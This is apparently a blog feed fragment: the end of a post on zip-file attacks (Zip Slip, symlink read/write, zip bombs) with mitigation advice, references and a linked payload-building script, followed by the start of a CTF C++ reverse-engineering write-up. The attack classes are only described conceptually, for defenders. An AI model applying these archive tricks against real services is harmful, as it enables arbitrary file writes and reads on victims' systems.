&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ostorlab.co/zip-packages-exploitation.html&quot;&gt;Multiple Zip Vulnerabilities across Flutter and Swift Packages&lt;/a&gt; (2023)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulners.com/prion/PRION:CVE-2021-23521&quot;&gt;Zip Symlink Vulnerability in Juce&lt;/a&gt; (2021)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2018-1000544&quot;&gt;Zip Slip&lt;/a&gt; (2018) and &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2019-16892/&quot;&gt;Metadata Spoofing&lt;/a&gt; (2019) in Rubyzip&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/snyk/zip-slip-vulnerability&quot;&gt;Zip Slip Bonanza in Multiple Languages/Frameworks/Packages&lt;/a&gt; (2018 - 2019)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keep in mind zip files come in different forms. Here are some you might be familiar with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.docx, .pptx, .xlsx (Microsoft Documents),&lt;/li&gt;
&lt;li&gt;.jar (Java Archive),&lt;/li&gt;
&lt;li&gt;.apk (Android App),&lt;/li&gt;
&lt;li&gt;.mscx (MuseScore File).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any service processing such files has potential to be vulnerable.&lt;/p&gt;
&lt;h2 id=&quot;mitigations-and-other-considerations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#mitigations-and-other-considerations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Mitigations and Other Considerations&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; href=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/171212_cyber_Defense-4160w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 4160 / 2340&quot; alt=&quot;Credit: Cybrain/Adobe Stock&quot; title=&quot;Credit: Cybrain/Adobe Stock&quot; srcset=&quot;https://trebledj.me/img/171212_cyber_Defense-256w.webp 256w, https://trebledj.me/img/171212_cyber_Defense-512w.webp 512w, https://trebledj.me/img/171212_cyber_Defense-1024w.webp 1024w, https://trebledj.me/img/171212_cyber_Defense-4160w.webp 4160w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 4160px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?&lt;/p&gt;
&lt;p&gt;Let&#39;s explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)&lt;/p&gt;
&lt;h3 id=&quot;permissions&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#permissions&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Permissions&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Input sanitisation? Never heard of it!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Input sanitisation? Never heard of it!&quot; title=&quot;Input sanitisation? Never heard of it!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol&gt;
&lt;li&gt;Avoid running applications as &lt;code&gt;root&lt;/code&gt; or &lt;code&gt;Administrator&lt;/code&gt;. Instead, run it with a minimum privilege user.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In America, &amp;quot;all men are created equal&amp;quot;. Not so in filesystems.&lt;/p&gt;
&lt;p&gt;Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot;&gt;Limitations of Zip Slip&lt;/a&gt; and &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations of Zip Symlink Attacks&lt;/a&gt; for details on relevant permissions.&lt;/p&gt;
&lt;h3 id=&quot;modern-antivirus&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#modern-antivirus&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modern Antivirus&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For sysadmins and normies.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although zip bombs have targeted antivirus (AV) systems in the past, most &lt;a href=&quot;https://www.microsoft.com/en-us/windows/learning-center/what-is-a-zip-bomb#:~:text=most%20modern%20antivirus%20programs%20are%20able%20to%20find&quot;&gt;modern AV programs can detect zip bombs&lt;/a&gt; by recognising patterns and signatures.&lt;/p&gt;
&lt;h3 id=&quot;robust-code&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#robust-code&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Robust Code&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip applications/libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although &lt;code&gt;/../&lt;/code&gt; and symlinks can be used maliciously, they are technically allowed by the zip specification&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;. So... should your product implement protections against these? It depends.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;yes&lt;/strong&gt;, you should prevent the aforementioned tricks entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Are you developing a low-level unzip library, closely following the zip spec?
&lt;ul&gt;
&lt;li&gt;Then &lt;strong&gt;not necessarily&lt;/strong&gt;, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Code: Malicious Actors Hate This One Simple Trick!&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;One common way to prevent arbitrary file write attacks is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;resolve the canonical path of the target file,&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; and&lt;/li&gt;
&lt;li&gt;verify the path is within the unzip directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For instance, Juce v6.1.5 &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R438-R440&quot;&gt;added such a check&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;fileToUnzip&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isAChildOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;directoryToUnzipTo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// Attack attempt detected: attempted write outside of unzip directory.&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Attack Vectors and Edge Cases to Consider&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For high-level unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Checklist of edge cases to consider.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;..&lt;/code&gt; (Zip Slip),&lt;/li&gt;
&lt;li&gt;symlinks (zip symlink attacks),&lt;/li&gt;
&lt;li&gt;potential uncompressed file size (especially if your application targets end-users or constrained systems).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;Good Defaults&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;em&gt;For all unzip libraries and applications.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Don&#39;t follow symlink directories.&lt;/li&gt;
&lt;li&gt;Don&#39;t overwrite files. You don&#39;t want your existing files wiped out, right?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s a good idea to keep these defaults, unless you really need these features, and you&#39;re confident with the level of risk you&#39;re dealing with.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;unit-tests&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#unit-tests&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Unit Tests&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;For software developers &lt;strong&gt;building/maintaining&lt;/strong&gt; zip libraries.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Test cases prevent &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_regression&quot;&gt;software regression&lt;/a&gt; and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a &lt;a href=&quot;https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f#diff-16f78a017ef48e7154eac2ea6b3ee3d211fa508f5465db0c7f2667741ca00265R700&quot;&gt;test case against Zip Slip&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;tl-dr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#tl-dr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tl;dr&lt;/h2&gt;
&lt;p&gt;A quick recap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are generally three streams of zip attacks:
&lt;ul&gt;
&lt;li&gt;Arbitrary File Write with Zip Slip&lt;/li&gt;
&lt;li&gt;Arbitrary File Read/Write with Zip Symlink Attacks&lt;/li&gt;
&lt;li&gt;Denial of Service with Zip Bombs and Metadata Spoofing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ways to counter zip attacks include:
&lt;ul&gt;
&lt;li&gt;(Sysadmins) Run applications with a &lt;em&gt;minimum-privilege&lt;/em&gt; user.&lt;/li&gt;
&lt;li&gt;(Regular Users, Sysadmins) Regularly update antiviruses with new signatures.&lt;/li&gt;
&lt;li&gt;(Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While zip files offer convenience and efficiency in compressing and sharing data, we shouldn&#39;t overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Anecdotes? Stories? New zip developments? Let me know by leaving a comment.&lt;/em&gt; 🙂&lt;/p&gt;
&lt;h2 id=&quot;other-references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#other-references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.pentesteracademy.com/from-zip-slip-to-system-takeover-8564433ea542&quot;&gt;PentesterAcademy: From Zip Slip to System Takeover&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20221213052327/https://thesecurityvault.com/attacks-with-zip-files-and-mitigations/&quot;&gt;SecurityVault: Attacks with Zip Files and Mitigations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/c5c9d469b77c6e4a4c061de59392c1e7&quot;&gt;zipattack.py&lt;/a&gt; - various functions to construct zip payloads in Python&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the file linked by the symlink&quot;&gt;source file&lt;/abbr&gt; and the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;the directory containing the source file&quot;&gt;source directory&lt;/abbr&gt;. &lt;em&gt;&lt;strong&gt;If&lt;/strong&gt;&lt;/em&gt; we can read files in our upload directory &lt;strong&gt;and&lt;/strong&gt; if we have sufficient permissions, then we can (potentially) have arbitrary file read. See &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot;&gt;Limitations&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/questions/40667014/linux-what-are-the-minimum-permissions-required-to-create-a-link-to-a-file&quot;&gt;SO: Minimum Permissions Required to Create a Link to a File&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There probably aren&#39;t as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Fifield&#39;s article on &amp;quot;a better zip bomb&amp;quot;: &lt;em&gt;https://www.bamsoftware.com/hacks/zipbomb/&lt;/em&gt;. (It may be blocked on some browsers.) &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot;&gt;PKWare Mirror&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Canonical path means no &lt;code&gt;./&lt;/code&gt;, no &lt;code&gt;../&lt;/code&gt;, no &lt;code&gt;~/&lt;/code&gt;, no symlinks. Just a directory built directly from &lt;code&gt;/&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>notes</category>
        
          <category>web</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>ctf</category>
        
          <category>linux</category>
        
          <category>windows</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HKCERT CTF 2023 – Decompetition: Vitamin C++</title>
        <description>A beginner-friendly writeup to reverse-engineering C++ a lá decompetition. Years of complex shenanigans condensed!</description>
        <link href="https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/"/>
        <updated>2023-11-16T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decompetition: Vitamin C++&lt;/em&gt; is a reverse engineering challenge in this year&#39;s HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to &lt;em&gt;derive the source code&lt;/em&gt; of a binary. This really tests our understanding of how the language is compiled into machine code.&lt;/p&gt;
&lt;p&gt;So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.&lt;/p&gt;
&lt;p&gt;If you want to follow along, you can grab the challenge here: &lt;a href=&quot;https://github.com/blackb6a/hkcert-ctf-2023-challenges/tree/master/57-decomp-cpp&quot;&gt;GitHub&lt;/a&gt; (&lt;a href=&quot;https://github.com/TrebledJ/ctf-binaries/tree/main/hkcert-2023/decompetition-vitamin-cpp&quot;&gt;Backup&lt;/a&gt;). I’ll also be relying on &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; as my decompiler, because I &lt;s&gt;am poor&lt;/s&gt; want to support open-source.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/harrier_lcc&quot;&gt;harrier&lt;/a&gt;&lt;br /&gt;
4/5 stars ⭐️. 5/311 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So let&#39;s learn reverse with Decompetition!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp&quot;&gt;STL&lt;/a&gt; is used everywhere, so it would be nice to be able to reverse them!&lt;/p&gt;
&lt;p&gt;Note there is an internal flag with flag format &lt;code&gt;internal{}&lt;/code&gt;. Please do not submit this directly to the platform.&lt;/p&gt;
&lt;p&gt;g++ version: g++ (Debian 12.2.0-14) 12.2.0&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; chal.hkcert23.pwnable.hk &lt;span class=&quot;token number&quot;&gt;28157&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And a note on testing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to run this locally, you can install all the prerequisite library with &lt;code&gt;pip&lt;/code&gt;, and run &lt;code&gt;python compiler trie.disasm&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; pyyaml capstone intervaltree pyelftools diff_match_patch&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Thus, to get the flag, we need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the source code (97.5% similarity).&lt;/li&gt;
&lt;li&gt;Obtain the internal flag by reversing the source code.&lt;/li&gt;
&lt;li&gt;Submit the internal flag (not to the platform, but to the remote connection).&lt;/li&gt;
&lt;li&gt;Profit!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(You can see this process play out in compiler.py.)&lt;/p&gt;
&lt;p&gt;The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.&lt;/p&gt;
&lt;p&gt;Let’s start by analysing what we’re given and how we can approach the problem. We&#39;ll aim for 100% similarity, but go step by step.&lt;/p&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;p&gt;Unzipping our bag of goodies, we’re given:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;compiler.py&lt;/strong&gt;. This is the backend doing all the compilation and diffing.
&lt;ul&gt;
&lt;li&gt;Only &lt;code&gt;TrieNode&lt;/code&gt; methods, &lt;code&gt;wordhash&lt;/code&gt;, and &lt;code&gt;main&lt;/code&gt; are diffed.&lt;/li&gt;
&lt;li&gt;Prior to compiling, our code is prefixed with some boilerplate (includes of &lt;code&gt;unordered_map&lt;/code&gt;, &lt;code&gt;string&lt;/code&gt;, and &lt;code&gt;iostream&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;build.sh&lt;/strong&gt;. Checks our code against bad patterns, and compiles the program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie&lt;/strong&gt;. This is the binary file of our target source code. Open this in your favourite decompiler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie.disasm&lt;/strong&gt;. This is the disassembly used by compiler.py for diffing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;flag.txt&lt;/strong&gt;. Read and printed by compiler.py after submitting the internal flag.&lt;/li&gt;
&lt;li&gt;A bunch of other Python files to make things work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Is there a way we can simplify the process?&lt;/p&gt;
&lt;p&gt;Inline assembly with &lt;code&gt;asm&lt;/code&gt;, &lt;code&gt;attribute&lt;/code&gt; trickery, and macros are disallowed.&lt;/p&gt;
&lt;p&gt;A quick Google search for TrieNodes resulted in disappointment. The &lt;code&gt;mix()&lt;/code&gt; function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.&lt;/p&gt;
&lt;p&gt;It appears the most productive approach is to tackle the problem head on.&lt;/p&gt;
&lt;p&gt;But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!&lt;/p&gt;
&lt;h2 id=&quot;trie-me&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#trie-me&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Trie Me&lt;/h2&gt;
